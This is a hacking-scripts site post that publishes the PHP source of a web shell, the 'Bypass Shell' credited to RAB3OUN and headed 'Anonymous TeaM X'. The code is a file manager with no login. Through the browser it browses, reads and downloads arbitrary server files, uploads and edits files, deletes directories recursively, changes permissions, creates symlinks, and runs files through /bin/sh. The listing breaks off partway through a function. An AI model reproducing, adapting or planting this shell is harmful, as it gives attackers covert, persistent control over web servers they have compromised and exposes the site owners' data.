HackingScripts

Hack Scripts for everybody

Bypass Shell source code

28 Apr 2015

Bypass Shell source code

Coded By RAB3OUN

   1 <?php
   2 
   3 $lang = 'auto';
   4 
   5 /* Homedir:
   6  * For example: './' - the script's directory
   7  */
   8 $homedir = './';
   9 
  10 /* Size of the edit textarea
  11  */
  12 $editcols = 80;
  13 $editrows = 25;
  14 
  15 /* -------------------------------------------
  16  * Optional configuration (remove # to enable)
  17  */
  18 
  19 /* Permission of created directories:
  20  * For example: 0705 would be 'drwx---r-x'.
  21  */
  22 # $dirpermission = 0705;
  23 
  24 /* Permission of created files:
  25  * For example: 0604 would be '-rw----r--'.
  26  */
  27 # $filepermission = 0604;
  28 
  29 /* Filenames related to the apache web server:
  30  */
  31 $htaccess = '.htaccess';
  32 $htpasswd = '.htpasswd';
  33 
  34 /* ------------------------------------------------------------------------- */
  35 
  36 if (get_magic_quotes_gpc()) {
  37   array_walk($_GET, 'strip');
  38   array_walk($_POST, 'strip');
  39   array_walk($_REQUEST, 'strip');
  40 }
  41 
  42 if (array_key_exists('image', $_GET)) {
  43   header('Content-Type: image/gif');
  44   die(getimage($_GET['image']));
  45 }
  46 
  47 if (!function_exists('lstat')) {
  48   function lstat ($filename) {
  49     return stat($filename);
  50   }
  51 }
  52 
  53 $delim = DIRECTORY_SEPARATOR;
  54 
  55 if (function_exists('php_uname')) {
  56   $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  57 } else {
  58   $win = ($delim == '\\') ? true : false;
  59 }
  60 
  61 if (!empty($_SERVER['PATH_TRANSLATED'])) {
  62   $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  63 } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  64   $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  65 } elseif (function_exists('getcwd')) {
  66   $scriptdir = getcwd();
  67 } else {
  68   $scriptdir = '.';
  69 }
  70 $homedir = relative2absolute($homedir, $scriptdir);
  71 
  72 $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  73 
  74 if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  75   $dir = relative2absolute($dir, $_POST['olddir']);
  76 }
  77 
  78 $directory = simplify_path(addslash($dir));
  79 
  80 $files = array();
  81 $action = '';
  82 if (!empty($_POST['submit_all'])) {
  83   $action = $_POST['action_all'];
  84   for ($i = 0; $i < $_POST['num']; $i++) {
  85     if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  86       $files[] = $_POST["file$i"];
  87     }
  88   }
  89 } elseif (!empty($_REQUEST['action'])) {
  90   $action = $_REQUEST['action'];
  91   $files[] = relative2absolute($_REQUEST['file'], $directory);
  92 } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  93   $files[] = $_FILES['upload'];
  94   $action = 'upload';
  95 } elseif (array_key_exists('num', $_POST)) {
  96   for ($i = 0; $i < $_POST['num']; $i++) {
  97     if (array_key_exists("submit$i", $_POST)) break;
  98   }
  99   if ($i < $_POST['num']) {
 100     $action = $_POST["action$i"];
 101     $files[] = $_POST["file$i"];
 102   }
 103 }
 104 if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
 105   $files[] = relative2absolute($_POST['create_name'], $directory);
 106   switch ($_POST['create_type']) {
 107   case 'directory':
 108     $action = 'create_directory';
 109     break;
 110   case 'file':
 111     $action = 'create_file';
 112   }
 113 }
 114 if (sizeof($files) == 0) $action = ''; else $file = reset($files);
 115 
 116 if ($lang == 'auto') {
 117   if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
 118     $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
 119   } else {
 120     $lang = 'en';
 121   }
 122 }
 123 
 124 $words = getwords($lang);
 125 
 126 if ($site_charset == 'auto') {
 127   $site_charset = $word_charset;
 128 }
 129 
 130 $cols = ($win) ? 4 : 7;
 131 
 132 if (!isset($dirpermission)) {
 133   $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
 134 }
 135 if (!isset($filepermission)) {
 136   $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
 137 }
 138 
 139 if (!empty($_SERVER['SCRIPT_NAME'])) {
 140   $self = html(basename($_SERVER['SCRIPT_NAME']));
 141 } elseif (!empty($_SERVER['PHP_SELF'])) {
 142   $self = html(basename($_SERVER['PHP_SELF']));
 143 } else {
 144   $self = '';
 145 }
 146 
 147 if (!empty($_SERVER['SERVER_SOFTWARE'])) {
 148   if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
 149     $apache = true;
 150   } else {
 151     $apache = false;
 152   }
 153 } else {
 154   $apache = true;
 155 }
 156 
 157 switch ($action) {
 158 
 159 case 'view':
 160 
 161   if (is_script($file)) {
 162 
 163     /* highlight_file is a mess! */
 164     ob_start();
 165     highlight_file($file);
 166     $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
 167     $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
 168     ob_end_clean();
 169 
 170     html_header();
 171     echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
 172 
 173 <hr />
 174 
 175 <table>
 176 <tr>
 177 <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
 178 <pre style="margin-top: 0"><code>';
 179 
 180     for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
 181 
 182     echo '</code></pre>
 183 </td>
 184 <td style="text-align: left; vertical-align: top; padding-left: 3pt">
 185 <pre style="margin-top: 0">' . $src . '</pre>
 186 </td>
 187 </tr>
 188 </table>
 189 
 190 ';
 191 
 192     html_footer();
 193 
 194   } else {
 195 
 196     header('Content-Type: ' . getmimetype($file));
 197     header('Content-Disposition: filename=' . basename($file));
 198 
 199     readfile($file);
 200 
 201   }
 202 
 203   break;
 204 
 205 case 'download':
 206 
 207   header('Pragma: public');
 208   header('Expires: 0');
 209   header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
 210   header('Content-Type: ' . getmimetype($file));
 211   header('Content-Disposition: attachment; filename=' . basename($file) . ';');
 212   header('Content-Length: ' . filesize($file));
 213 
 214   readfile($file);
 215 
 216   break;
 217 
 218 case 'upload':
 219 
 220   $dest = relative2absolute($file['name'], $directory);
 221 
 222   if (@file_exists($dest)) {
 223     listing_page(error('already_exists', $dest));
 224   } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
 225     @chmod($dest, $filepermission);
 226     listing_page(notice('uploaded', $file['name']));
 227   } else {
 228     listing_page(error('not_uploaded', $file['name']));
 229   }
 230 
 231   break;
 232 
 233 case 'create_directory':
 234 
 235   if (@file_exists($file)) {
 236     listing_page(error('already_exists', $file));
 237   } else {
 238     $old = @umask(0777 & ~$dirpermission);
 239     if (@mkdir($file, $dirpermission)) {
 240       listing_page(notice('created', $file));
 241     } else {
 242       listing_page(error('not_created', $file));
 243     }
 244     @umask($old);
 245   }
 246 
 247   break;
 248 
 249 case 'create_file':
 250 
 251   if (@file_exists($file)) {
 252     listing_page(error('already_exists', $file));
 253   } else {
 254     $old = @umask(0777 & ~$filepermission);
 255     if (@touch($file)) {
 256       edit($file);
 257     } else {
 258       listing_page(error('not_created', $file));
 259     }
 260     @umask($old);
 261   }
 262 
 263   break;
 264 
 265 case 'execute':
 266 
 267   chdir(dirname($file));
 268 
 269   $output = array();
 270   $retval = 0;
 271   exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
 272 
 273   $error = ($retval == 0) ? false : true;
 274 
 275   if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
 276 
 277   if ($error) {
 278     listing_page(error('not_executed', $file, implode("\n", $output)));
 279   } else {
 280     listing_page(notice('executed', $file, implode("\n", $output)));
 281   }
 282 
 283   break;
 284 
 285 case 'delete':
 286 
 287   if (!empty($_POST['no'])) {
 288     listing_page();
 289   } elseif (!empty($_POST['yes'])) {
 290 
 291     $failure = array();
 292     $success = array();
 293 
 294     foreach ($files as $file) {
 295       if (del($file)) {
 296         $success[] = $file;
 297       } else {
 298         $failure[] = $file;
 299       }
 300     }
 301 
 302     $message = '';
 303     if (sizeof($failure) > 0) {
 304       $message = error('not_deleted', implode("\n", $failure));
 305     }
 306     if (sizeof($success) > 0) {
 307       $message .= notice('deleted', implode("\n", $success));
 308     }
 309 
 310     listing_page($message);
 311 
 312   } else {
 313 
 314     html_header();
 315 
 316     echo '<form action="' . $self . '" method="post">
 317 <table class="dialog">
 318 <tr>
 319 <td class="dialog">
 320 ';
 321 
 322     request_dump();
 323 
 324     echo "\t<b>" . word('really_delete') . '</b>
 325  <p>
 326 ';
 327 
 328     foreach ($files as $file) {
 329       echo "\t" . html($file) . "<br />\n";
 330     }
 331 
 332     echo '  </p>
 333  <hr />
 334  <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
 335  <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
 336 </td>
 337 </tr>
 338 </table>
 339 </form>
 340 
 341 ';
 342 
 343     html_footer();
 344 
 345   }
 346 
 347   break;
 348 
 349 case 'rename':
 350 
 351   if (!empty($_POST['destination'])) {
 352 
 353     $dest = relative2absolute($_POST['destination'], $directory);
 354 
 355     if (!@file_exists($dest) && @rename($file, $dest)) {
 356       listing_page(notice('renamed', $file, $dest));
 357     } else {
 358       listing_page(error('not_renamed', $file, $dest));
 359     }
 360 
 361   } else {
 362 
 363     $name = basename($file);
 364 
 365     html_header();
 366 
 367     echo '<form action="' . $self . '" method="post">
 368 
 369 <table class="dialog">
 370 <tr>
 371 <td class="dialog">
 372  <input type="hidden" name="action" value="rename" />
 373  <input type="hidden" name="file" value="' . html($file) . '" />
 374  <input type="hidden" name="dir" value="' . html($directory) . '" />
 375  <b>' . word('rename_file') . '</b>
 376  <p>' . html($file) . '</p>
 377  <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
 378  <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
 379  <hr />
 380  <input type="submit" value="' . word('rename') . '" />
 381 </td>
 382 </tr>
 383 </table>
 384 
 385 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 386 
 387 </form>
 388 
 389 ';
 390 
 391     html_footer();
 392 
 393   }
 394 
 395   break;
 396 
 397 case 'move':
 398 
 399   if (!empty($_POST['destination'])) {
 400 
 401     $dest = relative2absolute($_POST['destination'], $directory);
 402 
 403     $failure = array();
 404     $success = array();
 405 
 406     foreach ($files as $file) {
 407       $filename = substr($file, strlen($directory));
 408       $d = $dest . $filename;
 409       if (!@file_exists($d) && @rename($file, $d)) {
 410         $success[] = $file;
 411       } else {
 412         $failure[] = $file;
 413       }
 414     }
 415 
 416     $message = '';
 417     if (sizeof($failure) > 0) {
 418       $message = error('not_moved', implode("\n", $failure), $dest);
 419     }
 420     if (sizeof($success) > 0) {
 421       $message .= notice('moved', implode("\n", $success), $dest);
 422     }
 423 
 424     listing_page($message);
 425 
 426   } else {
 427 
 428     html_header();
 429 
 430     echo '<form action="' . $self . '" method="post">
 431 
 432 <table class="dialog">
 433 <tr>
 434 <td class="dialog">
 435 ';
 436 
 437     request_dump();
 438 
 439     echo "\t<b>" . word('move_files') . '</b>
 440  <p>
 441 ';
 442 
 443     foreach ($files as $file) {
 444       echo "\t" . html($file) . "<br />\n";
 445     }
 446 
 447     echo '  </p>
 448  <hr />
 449  ' . word('destination') . ':
 450  <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 451  <input type="submit" value="' . word('move') . '" />
 452 </td>
 453 </tr>
 454 </table>
 455 
 456 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 457 
 458 </form>
 459 
 460 ';
 461 
 462     html_footer();
 463 
 464   }
 465 
 466   break;
 467 
 468 case 'copy':
 469 
 470   if (!empty($_POST['destination'])) {
 471 
 472     $dest = relative2absolute($_POST['destination'], $directory);
 473 
 474     if (@is_dir($dest)) {
 475 
 476       $failure = array();
 477       $success = array();
 478 
 479       foreach ($files as $file) {
 480         $filename = substr($file, strlen($directory));
 481         $d = addslash($dest) . $filename;
 482         if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
 483           $success[] = $file;
 484         } else {
 485           $failure[] = $file;
 486         }
 487       }
 488 
 489       $message = '';
 490       if (sizeof($failure) > 0) {
 491         $message = error('not_copied', implode("\n", $failure), $dest);
 492       }
 493       if (sizeof($success) > 0) {
 494         $message .= notice('copied', implode("\n", $success), $dest);
 495       }
 496 
 497       listing_page($message);
 498 
 499     } else {
 500 
 501       if (!@file_exists($dest) && @copy($file, $dest)) {
 502         listing_page(notice('copied', $file, $dest));
 503       } else {
 504         listing_page(error('not_copied', $file, $dest));
 505       }
 506 
 507     }
 508 
 509   } else {
 510 
 511     html_header();
 512 
 513     echo '<form action="' . $self . '" method="post">
 514 
 515 <table class="dialog">
 516 <tr>
 517 <td class="dialog">
 518 ';
 519 
 520     request_dump();
 521 
 522     echo "\n<b>" . word('copy_files') . '</b>
 523  <p>
 524 ';
 525 
 526     foreach ($files as $file) {
 527       echo "\t" . html($file) . "<br />\n";
 528     }
 529 
 530     echo '  </p>
 531  <hr />
 532  ' . word('destination') . ':
 533  <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 534  <input type="submit" value="' . word('copy') . '" />
 535 </td>
 536 </tr>
 537 </table>
 538 
 539 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 540 
 541 </form>
 542 
 543 ';
 544 
 545     html_footer();
 546 
 547   }
 548 
 549   break;
 550 
 551 case 'create_symlink':
 552 
 553   if (!empty($_POST['destination'])) {
 554 
 555     $dest = relative2absolute($_POST['destination'], $directory);
 556 
 557     if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
 558 
 559     if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
 560 
 561     if (!@file_exists($dest) && @symlink($file, $dest)) {
 562       listing_page(notice('symlinked', $file, $dest));
 563     } else {
 564       listing_page(error('not_symlinked', $file, $dest));
 565     }
 566 
 567   } else {
 568 
 569     html_header();
 570 
 571     echo '<form action="' . $self . '" method="post">
 572 
 573 <table class="dialog" id="symlink">
 574 <tr>
 575  <td style="vertical-align: top">' . word('destination') . ': </td>
 576  <td>
 577    <b>' . html($file) . '</b><br />
 578    <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
 579    <label for="checkbox_relative">' . word('relative') . '</label>
 580    <input type="hidden" name="action" value="create_symlink" />
 581    <input type="hidden" name="file" value="' . html($file) . '" />
 582    <input type="hidden" name="dir" value="' . html($directory) . '" />
 583  </td>
 584 </tr>
 585 <tr>
 586  <td>' . word('symlink') . ': </td>
 587  <td>
 588    <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
 589    <input type="submit" value="' . word('create_symlink') . '" />
 590  </td>
 591 </tr>
 592 </table>
 593 
 594 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 595 
 596 </form>
 597 
 598 ';
 599 
 600     html_footer();
 601 
 602   }
 603 
 604   break;
 605 
 606 case 'edit':
 607 
 608   if (!empty($_POST['save'])) {
 609 
 610     $content = str_replace("\r\n", "\n", $_POST['content']);
 611 
 612     if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
 613       listing_page(notice('saved', $file));
 614     } else {
 615       listing_page(error('not_saved', $file));
 616     }
 617 
 618   } else {
 619 
 620     if (@is_readable($file) && @is_writable($file)) {
 621       edit($file);
 622     } else {
 623       listing_page(error('not_edited', $file));
 624     }
 625 
 626   }
 627 
 628   break;
 629 
 630 case 'permission':
 631 
 632   if (!empty($_POST['set'])) {
 633 
 634     $mode = 0;
 635     if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
 636     if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
 637     if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
 638 
 639     if (@chmod($file, $mode)) {
 640       listing_page(notice('permission_set', $file, decoct($mode)));
 641     } else {
 642       listing_page(error('permission_not_set', $file, decoct($mode)));
 643     }
 644 
 645   } else {
 646 
 647     html_header();
 648 
 649     $mode = fileperms($file);
 650 
 651     echo '<form action="' . $self . '" method="post">
 652 
 653 <table class="dialog">
 654 <tr>
 655 <td class="dialog">
 656 
 657  <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
 658 
 659  <hr />
 660 
 661  <table id="permission">
 662  <tr>
 663    <td></td>
 664    <td style="border-right: 1px solid black">' . word('owner') . '</td>
 665    <td style="border-right: 1px solid black">' . word('group') . '</td>
 666    <td>' . word('other') . '</td>
 667  </tr>
 668  <tr>
 669    <td style="text-align: right">' . word('read') . ':</td>
 670    <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
 671    <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
 672    <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
 673  </tr>
 674  <tr>
 675    <td style="text-align: right">' . word('write') . ':</td>
 676    <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
 677    <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
 678    <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
 679  </tr>
 680  <tr>
 681    <td style="text-align: right">' . word('execute') . ':</td>
 682    <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
 683    <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
 684    <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
 685  </tr>
 686  </table>
 687 
 688  <hr />
 689 
 690  <input type="submit" name="set" value="' . word('set') . '" />
 691 
 692  <input type="hidden" name="action" value="permission" />
 693  <input type="hidden" name="file" value="' . html($file) . '" />
 694  <input type="hidden" name="dir" value="' . html($directory) . '" />
 695 
 696 </td>
 697 </tr>
 698 </table>
 699 
 700 <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
 701 
 702 </form>
 703 
 704 ';
 705 
 706     html_footer();
 707 
 708   }
 709 
 710   break;
 711 
 712 default:
 713 
 714   listing_page();
 715 
 716 }
 717 
 718 /* ------------------------------------------------------------------------- */
 719 
 720 function getlist ($directory) {
 721   global $delim, $win;
 722 
 723   if ($d = @opendir($directory)) {
 724 
 725     while (($filename = @readdir($d)) !== false) {
 726 
 727       $path = $directory . $filename;
 728 
 729       if ($stat = @lstat($path)) {
 730 
 731         $file = array(
 732           'filename'    => $filename,
 733           'path'        => $path,
 734           'is_file'     => @is_file($path),
 735           'is_dir'      => @is_dir($path),
 736           'is_link'     => @is_link($path),
 737           'is_readable' => @is_readable($path),
 738           'is_writable' => @is_writable($path),
 739           'size'        => $stat['size'],
 740           'permission'  => $stat['mode'],
 741           'owner'       => $stat['uid'],
 742           'group'       => $stat['gid'],
 743           'mtime'       => @filemtime($path),
 744           'atime'       => @fileatime($path),
 745           'ctime'       => @filectime($path)
 746         );
 747 
 748         if ($file['is_dir']) {
 749           $file['is_executable'] = @file_exists($path . $delim . '.');
 750         } else {
 751           if (!$win) {
 752             $file['is_executable'] = @is_executable($path);
 753           } else {
 754             $file['is_executable'] = true;
 755           }
 756         }
 757 
 758         if ($file['is_link']) $file['target'] = @readlink($path);
 759 
 760         if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
 761         if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
 762 
 763         $files[] = $file;
 764 
 765       }
 766 
 767     }
 768 
 769     return $files;
 770 
 771   } else {
 772     return false;
 773   }
 774 
 775 }
 776 
 777 function sortlist ($list, $key, $reverse) {
 778 
 779   $dirs = array();
 780   $files = array();
 781 
 782   for ($i = 0; $i < sizeof($list); $i++) {
 783     if ($list[$i]['is_dir']) $dirs[] = $list[$i];
 784     else $files[] = $list[$i];
 785   }
 786 
 787   quicksort($dirs, 0, sizeof($dirs) - 1, $key);
 788   if ($reverse) $dirs = array_reverse($dirs);
 789 
 790   quicksort($files, 0, sizeof($files) - 1, $key);
 791   if ($reverse) $files = array_reverse($files);
 792 
 793   return array_merge($dirs, $files);
 794 
 795 }
 796 
 797 function quicksort (&$array, $first, $last, $key) {
 798 
 799   if ($first < $last) {
 800 
 801     $cmp = $array[floor(($first + $last) / 2)][$key];
 802 
 803     $l = $first;
 804     $r = $last;
 805 
 806     while ($l <= $r) {
 807 
 808       while ($array[$l][$key] < $cmp) $l++;
 809       while ($array[$r][$key] > $cmp) $r--;
 810 
 811       if ($l <= $r) {
 812 
 813         $tmp = $array[$l];
 814         $array[$l] = $array[$r];
 815         $array[$r] = $tmp;
 816 
 817         $l++;
 818         $r--;
 819 
 820       }
 821 
 822     }
 823 
 824     quicksort($array, $first, $r, $key);
 825     quicksort($array, $l, $last, $key);
 826 
 827   }
 828 
 829 }
 830 
 831 function permission_octal2string ($mode) {
 832 
 833   if (($mode & 0xC000) === 0xC000) {
 834     $type = 's';
 835   } elseif (($mode & 0xA000) === 0xA000) {
 836     $type = 'l';
 837   } elseif (($mode & 0x8000) === 0x8000) {
 838     $type = '-';
 839   } elseif (($mode & 0x6000) === 0x6000) {
 840     $type = 'b';
 841   } elseif (($mode & 0x4000) === 0x4000) {
 842     $type = 'd';
 843   } elseif (($mode & 0x2000) === 0x2000) {
 844     $type = 'c';
 845   } elseif (($mode & 0x1000) === 0x1000) {
 846     $type = 'p';
 847   } else {
 848     $type = '?';
 849   }
 850 
 851   $owner  = ($mode & 00400) ? 'r' : '-';
 852   $owner .= ($mode & 00200) ? 'w' : '-';
 853   if ($mode & 0x800) {
 854     $owner .= ($mode & 00100) ? 's' : 'S';
 855   } else {
 856     $owner .= ($mode & 00100) ? 'x' : '-';
 857   }
 858 
 859   $group  = ($mode & 00040) ? 'r' : '-';
 860   $group .= ($mode & 00020) ? 'w' : '-';
 861   if ($mode & 0x400) {
 862     $group .= ($mode & 00010) ? 's' : 'S';
 863   } else {
 864     $group .= ($mode & 00010) ? 'x' : '-';
 865   }
 866 
 867   $other  = ($mode & 00004) ? 'r' : '-';
 868   $other .= ($mode & 00002) ? 'w' : '-';
 869   if ($mode & 0x200) {
 870     $other .= ($mode & 00001) ? 't' : 'T';
 871   } else {
 872     $other .= ($mode & 00001) ? 'x' : '-';
 873   }
 874 
 875   return $type . $owner . $group . $other;
 876 
 877 }
 878 
 879 function is_script ($filename) {
 880   return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
 881 }
 882 
 883 function getmimetype ($filename) {
 884   static $mimes = array(
 885     '\.jpg$|\.jpeg$'  => 'image/jpeg',
 886     '\.gif$'          => 'image/gif',
 887     '\.png$'          => 'image/png',
 888     '\.html$|\.html$' => 'text/html',
 889     '\.txt$|\.asc$'   => 'text/plain',
 890     '\.xml$|\.xsl$'   => 'application/xml',
 891     '\.pdf$'          => 'application/pdf'
 892   );
 893 
 894   foreach ($mimes as $regex => $mime) {
 895     if (eregi($regex, $filename)) return $mime;
 896   }
 897 
 898   // return 'application/octet-stream';
 899   return 'text/plain';
 900 
 901 }
 902 
 903 function del ($file) {
 904   global $delim;
 905 
 906   if (!file_exists($file)) return false;
 907 
 908   if (@is_dir($file) && !@is_link($file)) {
 909 
 910     $success = false;
 911 
 912     if (@rmdir($file)) {
 913 
 914       $success = true;
 915 
 916     } elseif ($dir = @opendir($file)) {
 917 
 918       $success = true;
 919 
 920       while (($f = readdir($dir)) !== false) {
 921         if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
 922           $success = false;
 923         }
 924       }
 925       closedir($dir);
 926 
 927       if ($success) $success = @rmdir($file);
 928 
 929     }
 930 
 931     return $success;
 932 
 933   }
 934 
 935   return @unlink($file);
 936 
 937 }
 938 
 939 function addslash ($directory) {
 940   global $delim;
 941 
 942   if (substr($directory, -1, 1) != $delim) {
 943     return $directory . $delim;
 944   } else {
 945     return $directory;
 946   }
 947 
 948 }
 949 
 950 function relative2absolute ($string, $directory) {
 951 
 952   if (path_is_relative($string)) {
 953     return simplify_path(addslash($directory) . $string);
 954   } else {
 955     return simplify_path($string);
 956   }
 957 
 958 }
 959 
 960 function path_is_relative ($path) {
 961   global $win;
 962 
 963   if ($win) {
 964     return (substr($path, 1, 1) != ':');
 965   } else {
 966     return (substr($path, 0, 1) != '/');
 967   }
 968 
 969 }
 970 
 971 function absolute2relative ($directory, $target) {
 972   global $delim;
 973 
 974   $path = '';
 975   while ($directory != $target) {
 976     if ($directory == substr($target, 0, strlen($directory))) {
 977       $path .= substr($target, strlen($directory));
 978       break;
 979     } else {
 980       $path .= '..' . $delim;
 981       $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
 982     }
 983   }
 984   if ($path == '') $path = '.';
 985 
 986   return $path;
 987 
 988 }
 989 
 990 function simplify_path ($path) {
 991   global $delim;
 992 
 993   if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
 994     $path = realpath($path);
 995     if (@is_dir($path)) {
 996       return addslash($path);
 997     } else {
 998       return $path;
 999     }
1000   }
1001 
1002   $pattern  = $delim . '.' . $delim;
1003 
1004   if (@is_dir($path)) {
1005     $path = addslash($path);
1006   }
1007 
1008   while (strpos($path, $pattern) !== false) {
1009     $path = str_replace($pattern, $delim, $path);
1010   }
1011 
1012   $e = addslashes($delim);
1013   $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1014 
1015   while (ereg($regex, $path)) {
1016     $path = ereg_replace($regex, $delim, $path);
1017   }
1018 
1019   return $path;
1020 
1021 }
1022 
1023 function human_filesize ($filesize) {
1024 
1025   $suffices = 'kMGTPE';
1026 
1027   $n = 0;
1028   while ($filesize >= 1000) {
1029     $filesize /= 1024;
1030     $n++;
1031   }
1032 
1033   $filesize = round($filesize, 3 - strpos($filesize, '.'));
1034 
1035   if (strpos($filesize, '.') !== false) {
1036     while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1037       $filesize = substr($filesize, 0, strlen($filesize) - 1);
1038     }
1039   }
1040 
1041   $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1042 
1043   return $filesize . " {$suffix}B";
1044 
1045 }
1046 
1047 function strip (&$str) {
1048   $str = stripslashes($str);
1049 }
1050 
1051 /* ------------------------------------------------------------------------- */
1052 
1053 function listing_page ($message = null) {
1054   global $self, $directory, $sort, $reverse;
1055 
1056   html_header();
1057 
1058   $list = getlist($directory);
1059 
1060   if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1061   if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1062 
1063   echo '<h1 style="margin-bottom: 0">Anonymous TeaM X</h1>
1064 
1065 <form enctype="multipart/form-data" action="' . $self . '" method="post">
1066 
1067 <table id="main">
1068 ';
1069 
1070   directory_choice();
1071 
1072   if (!empty($message)) {
1073     spacer();
1074     echo $message;
1075   }
1076 
1077   if (@is_writable($directory)) {
1078     upload_box();
1079     create_box();
1080   } else {
1081     spacer();
1082   }
1083 
1084   if ($list) {
1085     $list = sortlist($list, $sort, $reverse);
1086     listing($list);
1087   } else {
1088     echo error('not_readable', $directory);
1089   }
1090 
1091   echo '</table>
1092 
1093 </form>
1094 
1095 ';
1096 
1097   html_footer();
1098 
1099 }
1100 
1101 function listing ($list) {
1102   global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1103 
1104   echo '<tr class="listing">
1105  <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1106 ';
1107 
1108   column_title('filename', $sort, $reverse);
1109   column_title('size', $sort, $reverse);
1110 
1111   if (!$win) {
1112     column_title('permission', $sort, $reverse);
1113     column_title('owner', $sort, $reverse);
1114     column_title('group', $sort, $reverse);
1115   }
1116 
1117   echo '  <th class="functions">' . word('functions') . '</th>
1118 </tr>
1119 ';
1120 
1121   for ($i = 0; $i < sizeof($list); $i++) {
1122     $file = $list[$i];
1123 
1124     $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1125     $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1126     $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1127 
1128     echo '<tr class="listing">
1129  <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1130  <td class="filename" title="' . html($timestamps) . '">';
1131 
1132     if ($file['is_link']) {
1133 
1134       echo '<img src="' . $self . '?image=link" alt="link" /> ';
1135       echo html($file['filename']) . ' &rarr; ';
1136 
